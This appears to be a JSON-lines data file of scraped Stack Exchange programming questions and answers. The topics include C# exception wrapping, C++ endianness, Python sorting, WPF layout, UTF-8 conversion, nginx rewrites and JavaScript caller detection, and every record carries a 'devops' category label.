{"id": "hf_90ac7eadfedc", "question": "<p>I'm bored with surrounding code with try catch like this..</p>\n\n<pre><code>try\n{\n    //some boring stuff\n}\ncatch(Exception ex)\n{\n    //something even more boring stuff\n}\n</code></pre>\n\n<p>I would like something like</p>\n\n<pre><code>SurroundWithTryCatch(MyMethod)\n</code></pre>\n\n<p>I know I can accomplish this behaviour by creating a delegate with the exact signature of the function, but creating a delegate for all the methods in my application it's just not an option.</p>\n\n<p>I can also do this by injecting IL code but this is expensive in terms of performance as it creates an wrapper assembly around mine.</p>\n\n<p>Any other valid ideeas?</p>\n", "question_body": "", "answer": "You can try to use some null validiation instead. I can take a LINQ to SQL example:\n```\n```\nvar user = db.Users.SingleOrDefault(u => u.Username == 3);\n\nif (user == null)\n    throw new ArgumentNullException(\"User\", \"User cannot be null.\");\n\n// \"else\" continue your code...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.184221"}
{"id": "hf_99101ee4b169", "question": "<p>I have some low level serialization code that is templated, and I need to know the system's endianness at compiletime obviously (because the templates specializes based on the system's endianness).  </p>\n\n<p>Right now I have a header with some platform defines, but I'd rather have someway to make assertions about endianness with some templated test (like a static_assert or boost_if). Reason being my code will need to be compiled and ran on a wide range of machines, of many specialized vendor, and probably devices that don't exist in 2008, so I can't really guess what might need to go into that header years down the road. And since the code-base has an expected lifetime of about 10 years. So I can't follow the code for-ever.</p>\n\n<p>Hopefully this makes my situation clear.</p>\n\n<p>So does anyone know of a compile-time test that can determine endianness, without relying on vendor specific defines?</p>\n", "question_body": "", "answer": "Hmm, that's an interesting Question. My bet is that this is not possible. I think you have to continue using macros, and go with\n```\nBOOST_STATIC_ASSERT(!BIG_ENDIAN);\n```\n, or\n```\nstatic_assert\n```\nin c++0x. The reason i think this is because the endian'nes is a property if your execution environment. However, static_assert is considered at compile time.\nI suggest you look into the code of the new\nGNU gold\nELF linker. Ian Lance Taylor, its author, used templates to select the right endianness at compile time, to ensure optimal performance at run time. He explicitely instantiates all possible endians, so that he still has separate compilation (not all templates in headers) of the template definition and declaration. His code is excellent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.242446"}
{"id": "hf_3c02d6272c07", "question": "<p>Does anyone know a good C++ class to read (and possibly also write) INI files on Windows Mobile? Ideally this class sould work on Windows mobile 2003, 5 and 6 and be public domain but other alternatives may be interesting.</p>\n", "question_body": "", "answer": "See this question\nHow to read config file entries from an INI file\n, and this followup\nHelp improve this INI parsing code\n, in which I figured out how to do the parsing myself. I can't say what I came up with is the be-all and end-all but it could be a good start.\nAlso, this article was mentioned\nCross-platform INI configuration files\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.269063"}
{"id": "hf_9a90899f660f", "question": "<p>If I use inline functions, does the memory usage increase?</p>\n", "question_body": "", "answer": "Depends on the function. Simple one-liners could have a memory reduction since no callstack needs to be setup and cleaned and no function call is made. If the function is larger than this overhead needed to call a function, then it will of course bloat the code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.292349"}
{"id": "hf_d2f8e88419ad", "question": "<p>The library should;</p>\n<ul>\n<li>Be easy to use and few lines of client code should accomplish much</li>\n<li>Be as platform independent as possible. (In case of future ports to other platforms)</li>\n<li>Have C++ bindings.</li>\n<li>Be mature and stable</li>\n</ul>\n<p>I would also like to be notified of most HID events through callbacks.</p>\n<p>I have considered the following alternatives:</p>\n<ul>\n<li>libhid - (Unfortunately?) this is GPL and cannot be used in my application.</li>\n<li>WDK - Seems to be a bit low-level for my use. I don’t need that kind of control.</li>\n<li>atusbhid - This has an appropriate level of abstraction, but it is firmly tied to the Windows messaging loop</li>\n</ul>\n<p>Are there other alternatives to offer?</p>\n", "question_body": "", "answer": "If libhid works for you, then perhaps the thing to do would be to write an application (which you would GPL), which uses libhid to talk to devices, then provides whatever you need via a TCP connection. Your real application would connect via TCP to do what it needs. This would obviously be a massive performance hit.\nThis application would effectively be a 'shim' between libhid and your application. In this case, the shim would exist for legal, not technical, reasons.\nI'm not saying it's a good idea, just that it's an idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.339461"}
{"id": "hf_89877f055f7a", "question": "<p>In a html page we use the head tag to add reference to our external .js files .. we can also include script tags in the body .. But how do we include our external .js file in a web user control?</p>\n\n<p>After little googling I got this. It works but is this the only way?</p>\n\n<pre><code>ScriptManager.RegisterStartupScript(this.Page, Page.GetType(), \"MyUniquekey\", @\"&lt;script src=\"\"myJsFile.js\"\" type=\"\"text/javascript\"\"&gt;&lt;/script&gt;\", false);\n</code></pre>\n\n<p>-- Zuhaib</p>\n", "question_body": "", "answer": "You can also use\n```\n```\nPage.ClientScript.RegisterClientScriptInclude(\"key\", \"path/to/script.js\");\n```\n```\nThat's the way I always do it anyway", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.374544"}
{"id": "hf_f8daf1f6dec6", "question": "<p>I have input consisting of a list of nested lists like this:</p>\n\n<pre><code>l = [[[[[39]]]], [1, 2, 3], [4, [5, 3], 1], [[[[8, 9], 10], 11], 12]]\n</code></pre>\n\n<p>I want to sort this list based on the sum of all the numbers in the nested lists... so, the values I want to sort by of l would look like this:</p>\n\n<pre><code>[39, 6, 13, 50]\n</code></pre>\n\n<p>Then I want to sort based on these. So the output should be:</p>\n\n<pre><code>[[1, 2, 3], [4, [5, 3], 1], [[[[39]]]], [[[[8, 9], 10], 11], 12]]\n</code></pre>\n\n<p>What's a nice pythonic way of doing this?</p>\n", "question_body": "", "answer": "```\n```\nl.sort(key=sum_nested)\n```\n```\nWhere\n```\nsum_nested()\n```\nis:\n```\n```\ndef sum_nested(astruct):\n    try: return sum(map(sum_nested, astruct))\n    except TypeError:\n        return astruct\n\nassert sum_nested([[([8, 9], 10), 11], 12]) == 50\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.448541"}
{"id": "hf_c21d5110f639", "question": "<p>What's the easiest way to use a linked list in python? In scheme, a linked list is defined simply by <code>'(1 2 3 4 5)</code>. Python's lists, <code>[1, 2, 3, 4, 5]</code>, and tuples, <code>(1, 2, 3, 4, 5)</code>, are not, in fact, linked lists, and linked lists have some nice properties such as constant-time concatenation, and being able to reference separate parts of them. Make them immutable and they are really easy to work with!</p>\n", "question_body": "", "answer": "Immutable lists are best represented through two-tuples, with None representing NIL. To allow simple formulation of such lists, you can use this function:\n```\n```\ndef mklist(*args):\n    result = None\n    for element in reversed(args):\n        result = (element, result)\n    return result\n```\n```\nTo work with such lists, I'd rather provide the whole collection of LISP functions (i.e. first, second, nth, etc), than introducing methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.496299"}
{"id": "hf_5ab0987017f9", "question": "<p>I have created a site, which parses XML files and display its content on the appropriate page. Is my site a dynamic web page or static web page?</p>\n\n<p>How do dynamic and static web pages differ?</p>\n\n<p>I feel it's dynamic, because I parse the content from xml files; initially i don't have any content in my main page..</p>\n\n<p>What do you think about this, please explain it..</p>\n", "question_body": "", "answer": "Static web pages would be plain HTML content that are delivered. If you are processing any type of XML files at the server side and generating content accordingly, this is a dynamic page. Static pages change content when the page is actually edited & modified.\nFirst result on Google if you had searched for it explains it.\nhttp://websiteowner.info/articles/pages/pagetypes.asp\nAlso, stating that static websites are not updated regularly is not correct. The web and HTML was around even before we started writing stuff in Perl & PHP. There are/were sites that had heavy traffic and were being modified manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.530955"}
{"id": "hf_9bc0332bf242", "question": "<p>The situation is, I have a website where the users get a sub domain. eg: client.mydomain.com. If the client fails to meet certain condition (eg. payment default), I want the above site to be pointing to a different web site. The way we want to do it is by creating a dns record with the appropriate redirection.</p>\n\n<p>I use a win 2003 server, and program in .Net. any inputs on how I can programmatically do this?</p>\n\n<p>I do control the website, however the reason is there are a lot of users (and hence sub domains) and also there is no physical website for (client.mydomain.come), it's like a wordpress/blogger where a user has blog.wordpress.com (and I assume they don't create a new website for each user).</p>\n", "question_body": "", "answer": "Well, using .Net and a windows 2003 server, you can do this using WMI scripting.\nYou can find more information on the\nDNS WMI classes here\nHOWEVER\nI strongly recommend that you do not use a Windows server for a public DNS server - for security and performance reasons you are much better off using a linux server running BIND.  In addition, using BIND-dlz (a add on for BIND), you can make BIND use almost any SQL database as a datasource for your DNS records.  As of BIND 9.4, BIND-dlz is included in the core BIND distribution.  More information can be found at\nhttp://bind-dlz.sourceforge.net", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.577341"}
{"id": "hf_3bc7b0ae7837", "question": "<p>A complicated-sounding term with no good explanations from a simple google search... are there any more academically-oriented folk who could explain this one?</p>\n", "question_body": "", "answer": "Okay, just going to hazard a COMPLETE guess here, based on this\nhttp://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=4276578\nI'd say it's a mathematical representation of parametric polymorphism (generics).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.628564"}
{"id": "hf_c0031254008b", "question": "<p>If the framework is persistence agnostic, can my unit tests construct a file system version of the persistance store underneath my entity model?</p>\n\n<p>I'll be using the model first features of entity framework in the GUI for sure because it's too easy for my devs to make schema changes and keep DAL layer in sync.</p>\n\n<p>Has anyone tried using the model first approach and adding persistence ignorance?</p>\n\n<p>I think this would be my ideal modelling world. I use LINQ2SQL atm and it's a bit tricky to swap out the data store yet have an automatically rich data tier that doesn't hide behind a set of business line IDataContext interfaces.</p>\n\n<p>If I can see some scenarios of this working, I'd like to invest more time in the future to try this out.</p>\n", "question_body": "", "answer": "Entity Framework does\nnot\nhave true persistence ignorance. That is one of the biggest criticisms (i.e. a forced base class, lots of EF ties, etc). LINQ-to-SQL\ncan\nhave persistence ignorance, but in reality people tend to use the lazy loading and attributed approach, which means that it still doesn't have persistence ignoance.\nRe being persistence\nagnostic\n- it (EF) would still need a provider. Sure, if you want to write an EF provider that talks to the file system, go ahead! It would be a\nlot\nof work though. It would be easier to use a SQL Express database (flat file) etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.651438"}
{"id": "hf_359063b14a36", "question": "<p>While working on a .Net application (let's say an Asp.Net one), are there any differences in the way you would do things while working on the 64 bit platform, as compared to working on a 32 bit platform.</p>\n\n<p>I would imagine very little since you are working on the framework, and the framework is taking care of most things for you, right?</p>\n\n<p>But, please give your comments.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "There are two cases where considering 64-bit-ness might be interesting:\nyou need to consider containers that have more than 2^31 elements. The standard array .Length property returns Int32, and is thus not capable of representing large arrays - which you can't create in a 32-bit VM anyway. In a 64-bit VM, you should use LongLength instead (unless you know that you have less than 2^31 elements). Unfortunately, many standard collection classes don't seem to support large numbers of elements at all.\nyou can use the long type with fewer concerns about performance: in the 64-bit version, a long fits into a register, whereas in the 32-bit version, the JIT code will need multiple machine instructions for a single long operation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.697653"}
{"id": "hf_30877b257630", "question": "<p>This seems like it should be easy but I'm stumped. In WPF, I'd like a TextBox that stretches to the width of it's parent, but only to a maximum width. The problem is that I want it to be left justified within its parent. To get it to stretch you have to use HorizontalAlignment=\"Stretch\", but then the result is centered. I've experimented with HorizontalContentAlignment, but it doesn't seem to do anything.</p>\n\n<p>How do I get this blue text box to grow with the size of the window, have a maximum width of 200 pixels, and be left justified?</p>\n\n<pre><code>&lt;Page\n  xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n  xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"&gt;\n  &lt;StackPanel&gt;  \n    &lt;TextBox Background=\"Azure\" Text=\"Hello\" HorizontalAlignment=\"Stretch\" MaxWidth=\"200\" /&gt;\n  &lt;/StackPanel&gt;\n&lt;/Page&gt;\n</code></pre>\n\n<p>What's the trick?</p>\n", "question_body": "", "answer": "```\n```\n<Grid>\n    <Grid.ColumnDefinitions>\n        <ColumnDefinition Width=\"*\" MaxWidth=\"200\"/>\n    </Grid.ColumnDefinitions>\n\n    <TextBox Background=\"Azure\" Text=\"Hello\" />\n</Grid>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.720942"}
{"id": "hf_00975af78be5", "question": "<p>How to convert Unicode string into a utf-8 or utf-16 string?\nMy VS2005 project is using Unicode char set, while sqlite in cpp provide </p>\n\n<pre><code>int sqlite3_open(\n  const char *filename,   /* Database filename (UTF-8) */\n  sqlite3 **ppDb          /* OUT: SQLite db handle */\n);\nint sqlite3_open16(\n  const void *filename,   /* Database filename (UTF-16) */\n  sqlite3 **ppDb          /* OUT: SQLite db handle */\n);\n</code></pre>\n\n<p>for opening a folder.\nHow can I convert string, CString, or wstring into UTF-8 or UTF-16 charset?</p>\n\n<p>Thanks very much!</p>\n", "question_body": "", "answer": "Use the\nWideCharToMultiByte\nfunction. Specify\n```\nCP_UTF8\n```\nfor the\n```\nCodePage\n```\nparameter.\n```\n```\nCHAR buf[256]; // or whatever\nWideCharToMultiByte(\n  CP_UTF8, \n  0, \n  StringToConvert, // the string you have\n  -1, // length of the string - set -1 to indicate it is null terminated\n  buf, // output\n  __countof(buf), // size of the buffer in bytes - if you leave it zero the return value is the length required for the output buffer\n  NULL,    \n  NULL\n);\n```\n```\nAlso, the default encoding for unicode apps in windows is UTF-16LE, so you might not need to perform any translation and just use the second version\n```\nsqlite3_open16\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.766959"}
{"id": "hf_9185869f6677", "question": "<p>I am developing a .NET CF 3.5 network game. My issue is the app loads all the resources at first instance. However upon subsequent launches, the app gives me memory out of exception while loading resources especially sounds or big images.</p>\n\n<p>Please guide me</p>\n", "question_body": "", "answer": "How much memory is your application taking after loading all the resources ? On default settings I have been getting this error coming over cca 1.3 GB of private bytes (checking the task manager and the processes memory allocation).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.807913"}
{"id": "hf_4ed936b08d1b", "question": "<p>In my webpage, I want the website to greet the user, but the username is surrounded by 'single quotations'. Since this isn't to prevent MySQL injection, i just want to remove quotes around my name on the display page.</p>\n\n<p>Ex: Welcome 'user'!\nI'm trying to find the way where i can strip the quotations around the user and have it display on the example below.</p>\n\n<p>Ex: Welcome user!</p>\n\n<p>The only line of code that I can think relating is this:</p>\n\n<p>$login = $_SESSION['login'];</p>\n\n<p>Does anyone know how to strip single lines quotes?</p>\n", "question_body": "", "answer": "I think the easiest way would be to use the trim() function. It usually trims whitespace characters, but you may pass it a string containing characters you want to be removed:\n```\n```\necho 'Welcome ' . trim($login, \"'\");\n```\n```\nSee\nhttp://php.net/trim", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.831218"}
{"id": "hf_a411f2db2c8b", "question": "<p>Spring IoC container gives you <a href=\"http://static.springframework.org/spring/docs/2.5.x/reference/beans.html#beans-factory-arbitrary-method-replacement\" rel=\"nofollow noreferrer\">an option</a> of replacing a method of a bean. Can someone provide a real life example of using this feature to solve real life problem?</p>\n\n<p>I can see this used for adapting an old legacy code (w/o sources) to work with your app. But I think I would consider writing an adapter class using the legacy code directly instead of Spring method replacement approach.</p>\n", "question_body": "", "answer": "Using spring IoC now I can change my Lucene Analyzers to whatever I want just changing a configuration file.\n```\n```\n<bean id=\"propertyConfigurer\" class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n                <property name=\"locations\">\n                        <list>\n                                <value>file.properties</value>\n                        </list>\n                </property>\n</bean> \n\n<bean id=\"DocumentAnalyzer\" class=\"${lucene.document_analyzer}\">\n</bean>\n\n<bean id=\"QueryAnalyzer\" class=\"${lucene.query_analyzer}\">\n</bean> \n\n<bean id=\"IndexSearcher\" class=\"org.apache.lucene.search.IndexSearcher\" scope=\"prototype\">\n  <constructor-arg>\n    <value>${lucene.repository_path}</value>   \n  </constructor-arg>\n\n</bean>\n```\n```\nand then in the code:\n```\n```\nAnalyzer analyzer  = (Analyzer) BeanLoader.getFactory().getBean(\"DocumentAnalyzer\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.866229"}
{"id": "hf_7462bf6df328", "question": "<p>I read a little of the help for my advanced installer 6.5.1 and couldn't find a way to change the version string except by hand.</p>\n", "question_body": "", "answer": "The files for creating an MSI are usually in XML format, we've created a little tool that runs as part of our build process that goes and changes the build number manually, try openning the advanced installer file in notepad and look for the \"ProductVersion\" string.\nCheers,\nRob.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.889290"}
{"id": "hf_d7d52aa8d3bd", "question": "<p>I have a COM dll written in vb6. When I try to create a new object of a class module from this dll I get a Run timer error 430: Class does not support automation or does not support expected interface. The interesting thing is that this happens only from outside the IDE, when I am debugging from within the IDE there is no error thrown and the new object of the class is created successfully. What can be the cause?</p>\n\n<p>In general I occasionally get these kind of errors in COM dlls. What is the best way to debug COM issues? How can I know the path of the dll that is being used when a program is running?</p>\n", "question_body": "", "answer": "This is almost certainly a versioning problem, sometimes known as \"DLL hell\".\nThe background is that the .NET world is explicitly designed to let interfaces evolve while keeping the same name. But in the COM world, interfaces are considered to be immutable.\nWhen you're working within the IDE, Visual Studio is creating a new COM Interop wrapper for the COM dll every time you run your solution. But unless you release and replace your entire solution every time, including a brand-new COM Interop wrapper, you're going to run into a versioning issue, where the .NET code is expecting one COM interface but seeing a different one.\nEDIT\n: For some reason, I assumed that you're trying to use the COM component from a .NET component. If the entire solution is actually VB6, then Mr Conley's solution is the recommended approach.\nHere's a good link\nthat discusses the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.912068"}
{"id": "hf_0e6f33a0cf03", "question": "<pre><code>function main()\n{\n   Hello();\n}\n\nfunction Hello()\n{\n  // How do you find out the caller function is 'main'?\n}\n</code></pre>\n\n<p>Is there a way to find out the call stack?</p>\n", "question_body": "", "answer": "Note that this solution is deprecated and should no longer be used according to MDN documentation\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/caller\n```\n```\nfunction Hello()\n{\n    alert(\"caller is \" + Hello.caller);\n}\n```\n```\nNote that this feature is\nnon-standard\n, from\n```\nFunction.caller\n```\n:\nNon-standard\nThis feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\nThe following is the old answer from 2008, which is no longer supported in modern Javascript:\n```\n```\nfunction Hello()\n{\n    alert(\"caller is \" + arguments.callee.caller.toString());\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.946978"}
{"id": "hf_c6d9dcdffd0e", "question": "<p>I have problems with bringing a windows mobile 6 form to the front.\nI tried things like this already</p>\n\n<pre><code>Form1 testForm = new Form1();\ntestForm.Show();\ntestForm.BringToFront();\ntestForm.Focus();\n</code></pre>\n\n<p>But it's always behind the form that includes that code.\nThe only things that have worked for me are</p>\n\n<pre><code>testForm.TopMost = true;\n</code></pre>\n\n<p>or Hide(); the old form and then show the new one, but i want to avoid hiding the other form. TopMost isn't very clean anyway with using multiple other forms.</p>\n\n<p>The other thing that works is</p>\n\n<pre><code>testForm.ShowDialog();\n</code></pre>\n\n<p>but I don't want to show the form modal.</p>\n\n<p>To cut it short. I just want to show the new form in front of another form, and if I close it, I want to see the old form again.</p>\n\n<p>Maybe someone can help me with this problem. Thank you.</p>\n", "question_body": "", "answer": "I haven't tried it in WM6, but you can use some pinvoke to call Win32 functions:\n```\n```\n[DllImport(\"coredll.dll\")]\nprivate static extern IntPtr FindWindow(string lpClassName, string lpWindowName);\n\n[DllImport(\"coredll.dll\", EntryPoint=\"SetForegroundWindow\")]\nprivate static extern int SetForegroundWindow(IntPtr hWnd);\n```\n```\nCall FindWindow to get the handle and then call SetForegroundWindow. Other functions you may found useful:\nShowWindow, BringWindowToTop, SetWindowPos", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:56.986519"}
{"id": "hf_b41edacd9af4", "question": "<p><strong>Closed as exact duplicate of <a href=\"https://stackoverflow.com/questions/171970/how-can-i-find-the-method-that-called-the-current-method\">\"How can I find the method that called the current method?\"</a></strong></p>\n\n<p>Is <a href=\"https://stackoverflow.com/questions/280389/javascript-how-do-you-find-the-caller-function\">this</a> possible with c#?</p>\n\n<pre><code>void main()\n{\n   Hello();\n}\n\nvoid Hello()\n{\n  // how do you find out the caller is function 'main'?\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nConsole.WriteLine(new StackFrame(1).GetMethod().Name);\n```\n```\nHowever, this is not robust, especially as optimisations (such as JIT inlining) can monkey with the perceived stack frames.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.009718"}
{"id": "hf_798ace70eabc", "question": "<p>I have one autocomplete search, in which by typing few characters it will show all the names, which matches the entered character. I am populating this data in the jsp using DIV tag, by using mouse I'm able to select the names. But I want to select the names in the DIV tag to be selected using the keyboard up and down arrow. Can anyone please help me out from this.</p>\n", "question_body": "", "answer": "I assume that you have an input which handles the input.\nmap onkeyup-eventhandler for that input in which you read out event.keyCode, and do stuff when it's the appropriate keycodes for up/down-arrow (38, 40), to keep a reference to which node (item in your div) you move the focus to.\nThen call the same handler when you hit enter (keyCode 13) as you do onclick.\nIt's hard to give a coding-example because it highly depend on context, but a tip on how to navigate through your div is to make us of .nextSibling and .previousSibling, aswell as .firstChild and .childNodes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.056199"}
{"id": "hf_24ec9003a2c9", "question": "<p>I want to use input from a user as a regex pattern for a search over some text.  It works, but how I can handle cases where user puts characters that have meaning in regex?</p>\n<p>For example, the user wants to search for Word <code>(s)</code>: regex engine will take the <code>(s)</code> as a group.  I want it to treat it like a string <code>&quot;(s)&quot; </code>.  I can run <code>replace</code> on user input and replace the <code>(</code> with <code>\\(</code> and the <code>)</code> with <code>\\)</code> but the problem is I will need to do replace for every possible regex symbol.</p>\n<p>Do you know some better way ?</p>\n", "question_body": "", "answer": "Use the\n```\nre.escape()\n```\nfunction for this:\n4.2.3\n```\nre\n```\nModule Contents\nescape(string)\nReturn string with all non-alphanumerics backslashed; this is useful if you want to match an arbitrary literal string that may have regular expression metacharacters in it.\nA simplistic example, search any occurence of the provided string optionally followed by 's', and return the match object.\n```\n```\ndef simplistic_plural(word, text):\n    word_or_plural = re.escape(word) + 's?'\n    return re.match(word_or_plural, text)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.079409"}
{"id": "hf_5d68f12c1f51", "question": "<p>I'm looking to convert the following <code>mod_rewrite</code> rule to the <a href=\"http://wiki.codemongers.com/NginxHttpRewriteModule\" rel=\"noreferrer\">Nginx equivalent</a>:</p>\n\n<pre><code>RewriteRule ^foo/(.*)$ /bar/index.php?title=$1 [PT,L,QSA]\nRewriteRule ^foo/*$ /bar/index.php [L,QSA]\n</code></pre>\n\n<p>So far I have:</p>\n\n<pre><code>rewrite ^foo/(.*)$ /bar/index.php?title=$1&amp;$query_string last;\nrewrite ^foo/?$ /bar/index.php?$query_string break;\n</code></pre>\n\n<p>The problem is (I think!) that the query string doesn't get appended. I haven't found a way to port the <code>QSA</code> argument to Nginx.</p>\n", "question_body": "", "answer": "These rewrite rules made the scripts work:\n```\n```\nrewrite ^/foo/([^?]*)(?:\\?(.*))? /bar/index.php?title=$1&$2;\nrewrite ^/foo /bar/index.php;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.183902"}
{"id": "hf_de074e108ff5", "question": "<p>Hi I want to create form on my site, which is run using Micrsoft Sharepoint. </p>\n", "question_body": "", "answer": "there are multiple ways to create/use forms in SharePoint. You can do this by\nimplementing a web part\ndesigning/implementing an aspx page\nusing InfoPath\nTo decide which option is the right one for you depends on the problem you want so solve or the goal you want do archive. Perhaps some more details would be helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:57.210700"}
